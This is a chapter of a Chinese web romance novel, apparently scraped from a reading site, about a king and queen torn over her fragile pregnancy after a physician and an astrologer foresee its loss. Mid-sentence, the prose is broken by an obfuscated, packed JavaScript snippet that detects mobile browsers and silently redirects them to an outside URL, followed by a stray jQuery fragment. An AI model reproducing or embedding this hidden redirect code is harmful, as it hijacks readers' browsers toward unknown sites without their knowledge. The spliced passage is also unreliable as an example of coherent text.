砚台灼华 作品
19. 身孕
将她轻轻放置在软榻上,蔡泱唇色苍白,魏时崇心上一疼,遂拉了棉被盖在她身上,这一拉,便落出一件裘袍来,仔细看,竟是他的旧袍子。
怎的会在此处?阿泱放的吗?
他欲要将袍子收起来,却发现袍子上多了几支绣着的红梅,梅的样子虽有些难看,但好歹能认出来是梅花。
他心上一颤,摩挲着上面的绣样,这是……蔡泱秀的吗。
琉霜气喘吁吁地从门外跑进来,见到王上拿着殿下绣好的袍子,赶跑凑过来提醒道:“王上,这是我们殿下亲自给您绣的!”
她特地加重了“亲手”一词,又揣摩看看魏时崇的脸色。
男人的嘴角微不可查的弯了一下!
琉霜欣喜,再低眸去看那袍子……
嗯,就是这绣的样子磕碜些……但这是她家殿下第一次绣这种花样,这份心意在,王上也断不会笑话了去吧!
魏时崇颔首,小心翼翼将袍子叠好收起来,神色随即凝重下去,吩咐道:“去请医师来。”
不过多时,医师急急忙忙赶来为蔡泱诊治,医师面色沉重,摸着她脉,蹙了蹙眉。
魏时崇坐在床边,看着医师的脸色急得不行:“大人倒是说句话啊,王后缘何会晕倒?”
医师慢慢起身作揖,缓声道:“给王上贺喜,王后这脉象,指下圆滑,如珠走盘,乃是喜脉。只是月份还尚浅,所以没什么症状,自然难以让人察觉出来。”
“喜脉”一词一出,男人忽的心上一喜,险些两眼一黑。
阿泱有孕了?他们有孩子了!
“只是……”医师话锋一转。
魏时崇随即警觉起来:“只是什么?大人快快道来!”真是急死他了。
“只是王后身子孱弱,恐是气虚血亏,实难孕育一个皇子……王后方才动气,胎像不稳,这一胎,娘娘可谓是辛苦万分啊……”可能稍有不慎便没了。
医师默默擦了一把汗,不敢把话说的那么直截了当。
意思就是,建议堕掉,调养好了身子再怀。
魏时崇如遭晴天霹雳。
这是他们第一个孩子,他怎么舍得,可若是让阿泱怀这一胎,她必定会十分辛苦,她身子如此较弱,即便怀着孩子,生产亦是一道鬼门关。
他是她的夫君,他不能为了一个还没成型的孩子让他的妻子冒这么大的险。
他声音发颤:“那……大人觉得现下如何是好?”
“这……”医师垂首,不敢言语。
若是被治罪了该如何是好……
魏时崇深吸一口气,沉声:“大人但说无妨,本王不会降罪。”
有他金口玉言的一句话,医师咽了口唾沫,支支吾吾道:“眼下,唯有堕下这一胎,方为良策。”
魏时崇心底的石头愈发沉重,似是要压得他喘不过气来。
眼前景象天旋地转,他极力克制清醒着去看榻中人,女子微微蹙起眉似是极为痛苦,面色、唇色皆是一片苍白毫无血色。
他闭了闭眼,几乎是用尽所有力气,张口声音嘶哑:“除此之外,别无他法吗?”
医师赶忙下跪:“王上……臣开最好的方子来,您放宽心,臣这味堕胎药对王后的身子只利无害!”
男人拧起眉心,心中一阵阵绞痛,这还是他自母妃走后,第一次有这样的痛。
*
东辰的夜繁星密布,谌梵昇一袭素袍,静静伫立。
夜色如墨,谌梵昇仰望着繁星,双眸中映照了点点星光,他面色透着几分凝重。
他从星辰的轨迹中洞悉命运的蛛丝马迹,今夜的星象诡谲,诸多星辰形成了一种极为特殊的天象。
谌梵昇眉头紧锁,心中默默推演,良久,他长叹一声。
“造化弄人,当初只推演出帝王命数,却未能料到有一天,他要经历如此沉重之事……”
他心中尤为感慨,那个从黄毛小儿之龄便跟在他身后学道的男人的命数,若是他有办法,定不想看到他承受那么多痛苦……
回到书斋,谌梵昇遂提笔蘸墨,将自己夜观星象所得,毫无保留地告知魏时崇。
在他看来,魏时崇的长子,其命相与帝星遥相呼应,极有可能成为主宰天下之材。
而蔡泱腹中的胎儿,生命已然孕育,却并无帝王命格……
就如同流星一般,划过夜空却也逃不过转瞬即逝的命数,也无法改变既定的轨迹。
“这孩子,与大王和王后终究是有缘无份。”谌梵昇在信中写道。
即便他们不舍堕掉这个孩子,命运也会悄然转动,这个孩子也会自行离去。
他深知这样的噩耗,对魏时崇和蔡泱而言是沉重的打击,但星象所示,不可不察。
书信写好后,谌梵昇唤来心腹,命他务必以十万加急的速度,将信送往柔伊,交到魏时崇手里。
*
一月后。
蔡泱这一月来都在寝殿养身子,偶尔出来走走,这次却看到了独自在石阶底下擦眼泪的男人。
他背对着蔡泱,肩膀微微耸动,蔡泱心中一惊,魏时崇向来沉稳坚毅,她走上前,轻声唤道:“大王,你怎么了?”
魏时崇听到声音,如遭电击,猛地转过身来。
他的脸上还挂着未干的泪痕,神色慌乱,手中的信被他下意识地团成一团,迅速藏进了袖子里。
他这一举动让蔡泱更加疑惑。
她微微蹙眉,目光紧紧锁住魏时崇藏信的那只袖子,问道:“你手里藏着什么?为何如此慌张?”
魏时崇张了张口,却不知该如何作答。
他的眼神闪烁,支支吾吾道:“没……没什么,不过是一封无关紧要的信件。”
蔡泱怎会轻易相信?她直接快步上前,伸手去抢那封信。
魏时崇本能地侧身闪躲,蔡泱稍加思索,佯装往右扑去,却在中途猛地变向,左手如闪电般伸出来,一下便将信从魏时崇的袖子里抢了出来。
魏时崇大惊失色,急忙伸手阻拦:“夫人别看!求你了!”
她后退几步,不知道他葫芦里卖的是什么药。
神神秘秘的!
她不顾魏时崇的阻挠快速铺展开皱巴巴的信件。
目光遂在信纸上移动,她的脸色渐渐变得煞白,神色惊恐。
怎么会……怎么会,她有身孕了?
她不可置信的低下头,轻轻抚上小腹,这里……
有了一个小生命,是她与魏时崇的孩子。
可他,似乎马上要离开他们了——
信是谌梵昇写来的,白纸黑墨清楚地写着:……这孩子,与大王和王后终究是有缘无份,即便不堕胎,孩子也会自行离去。
帝王命格?
蔡泱的手微微颤抖着,她抬起头,双眼直直地盯着魏时崇,声音带着一丝颤抖和愤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047262|162741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怒:“你为何知道我有孕却不告诉我?你怎么能瞒着我这么重要的事!”
魏时崇低下头,双手紧紧握拳,心中满是纠结与无奈。
他轻声说道:“阿泱,我……我是不想让你冒险。既然这孩子注定留不住,不如现在就……”
“住口!”蔡泱愤怒地打断他,“你怎能如此轻易地决定这个孩子的去留?你不是说谌梵昇算无遗策?我一定要去找他问个清楚,定还有办法保住这个孩子!”
魏时崇抬起头,将她圈在怀中:“这太危险了!你根本不知道会面临什么!”
“我不管!”蔡泱倔强挣脱他的怀抱,愤怒道:“这是我的孩子,我不能眼睁睁看着他离去。”
说到最后,她声音染上了哭腔,眼眶霎时变得通红,男人看了满是心疼。
争执过后,蔡泱转头就走。
望着她的身影,男人蹙眉,心里满是懊悔。
他怎么能和她争吵呢?他明明只是不想让她受到一丝伤害啊……
他狠狠地朝着脸扇了自己一巴掌,拔腿便朝着蔡泱离去的方向追去。
*
两人为孩子一事已冷战数日,蔡泱刻意躲他,常常在司衣局整日不出。
魏时崇也强硬过,拽着她的胳膊拉近自己怀中,一双铁壁箍着她问,为何要因为孩子闹到如此地步?
蔡泱冷了脸,对上他狠戾的眼神,一言不发。
都是倔脾气,两人就这么僵持着。
他确实想要蔡泱生出一个有帝王命格的孩子,可这个孩子来的唐突,他与蔡泱都还未畅想过会有一个孩子。
何况,他也不知蔡泱心里是如何想他的……对他有无爱意。
可终究是他的错,他不能让蔡泱为了一个孩子违天命,若是她有什么三长两短,他也不该活在这世上了。
心上像是缺了一块,骤然生疼着。
昔日在战场厮杀的糙汉,躲在角落,疼的竟落了泪。
*
蔡泱独自一人回了寝殿,想着那日看到的信,泪止不住地流。
轻抚着自己还未显怀的肚子,心里满是对孩子的担忧。
“娘亲一定不会让你有事的。”她自顾喃喃着。
身后传来了魏时崇焦急的呼喊声:“夫人!”
蔡泱没有回头,魏时崇气喘吁吁地跑到她身边,满脸愧疚道:“夫人,对不起,是我不好,不该和你吵。”
蔡泱转过头,心上的怒意和委屈还未消尽:“你为何要瞒着我?你知道我得知这个消息时有多难过吗?”
“莫非,你并不想要这个孩子?”
魏时崇握起蔡泱的手,将她的手贴在自己的脸上,哑然道:“我知道,但比起一个素未谋面的孩子,我更在乎你的安危,我并非不爱这个孩子,只是你在我心中远远比这个孩子重要,我不想让你去做冒任何可能深陷险境的事。”
蔡泱听了这话,心中微微动容,眼泪再次夺眶而出。
她深吸一口气,坚定地说道:“我明白你的心意。但女子本弱,为母则刚。这是我们的孩子,只要有一丝希望,哪怕前方是刀山火海,我都要试一试。”
魏时崇望着蔡泱决绝的眼神,知道自己无法改变她的决定。
罢了,她一个做母亲的都不怕,他还怕什么呢,无论如何他都是她们母子的后盾。
他妥协般轻叹一声,轻轻将蔡泱拥入怀中,说道:“好,那我陪你一起。无论发生什么,我都不会离开你和孩子。”